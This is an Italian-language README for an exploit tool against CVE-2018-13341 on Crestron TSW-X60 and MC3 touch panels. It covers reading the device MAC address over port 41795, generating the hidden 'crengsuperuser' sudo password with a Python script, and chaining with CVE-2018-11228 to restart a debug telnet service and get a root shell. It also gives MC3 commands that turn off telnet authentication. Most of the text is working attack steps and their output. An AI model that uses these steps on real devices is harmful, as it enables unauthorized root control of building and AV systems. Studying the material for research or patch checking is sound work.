
Strumento per sfruttare CVE-2018-13341 e recuperare la password dell'account nascosto su dispositivi Crestron
Basato sulla scoperta di Ricky Lawshae sui dispositivi Crestron TSW-X60 e MC3, questo strumento mira a sfruttare il CVE-2018-13341. Utilizzando l'indirizzo MAC del dispositivo preso di mira, è possibile recuperare la password dell'account nascosto "crengsuperuser" che possiede privilegi elevati e permette di eseguire comandi SUDO.
Sui dispositivi Crestron TSW-X60 < 2.001.0037.001 e MC3 < 1.502.0047.00, le password degli account sudo speciali possono essere calcolate utilizzando informazioni accessibili a utenti con privilegi regolari. Gli aggressori potrebbero decifrare queste password, il che potrebbe consentire loro di eseguire chiamate API nascoste e uscire dall'ambiente sandbox della console CTP con privilegi elevati.
Il Crestron Toolbox Protocol (CTP) può essere connesso accedendo alla porta 41795 sul dispositivo TSW-XX60. Quindi, è possibile utilizzare il comando estat per ottenere l'indirizzo MAC del dispositivo:
$ nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> estat
The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
Link Status ....... : OK
DHCP .............. : ON
MAC Address ....... : 00.XX.XX.XX.XX.XX
IP Address ........ : [removed]
Subnet Mask ....... : [removed]
IPV6 Address ...... : [removed]
Default Gateway ... : [removed]
DNS Servers ........ : [removed] | DHCP |
[removed] | DHCP |
Questo strumento richiede il modulo cryptography.
$ pip3 install cryptography
OPPURE
$ pip3 install -r requirements.txt
usage: crestron_getsudopwd.py [-h] [-m MAC]
Tool to generate Crestron hidden accounts passwords
optional arguments:
-h, --help show this help message and exit
-m MAC, --mac MAC Target MAC address (w/o colons or dots)
# Esempio
$ python3 crestron_getsudopwd.py -m aabbccddeeff
[*] Device MAC address: AABBCCDDEEFF
[*] Password for 'crengsuperuser': RgXkA6Q415puxN0t
Il CVE-2018-11228 consente RCE non autenticato tramite il servizio Bash Shell nel Crestron Terminal Protocol (CTP). Dopo aver ottenuto la password dell'account nascosto "crengsuperuser", è possibile ottenere accesso root sulla macchina Linux sottostante.
$ nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************
Service telnetd_debug restarted
TSW-760>
Poi, in una nuova shell, è possibile ottenere accesso root sulla macchina.
$ telnet w.x.y.z
bash-3.2# whoami
root
Nota: Questo esempio è per dispositivi TSW. Il processo è leggermente diverso per i dispositivi MC3. È necessario utilizzare i seguenti comandi per abilitare la shell:
SUDO -SN:crengsuperuser -SP:password REGEDIT \\comm\\telnetd addval UseAuthentication DWORD 0quindi,SUDO -SN:crengsuperuser -SP:password LAUNCH \\windows\\services.exe /params start tel0:
Ecco alcune risorse interessanti relative a questa vulnerabilità: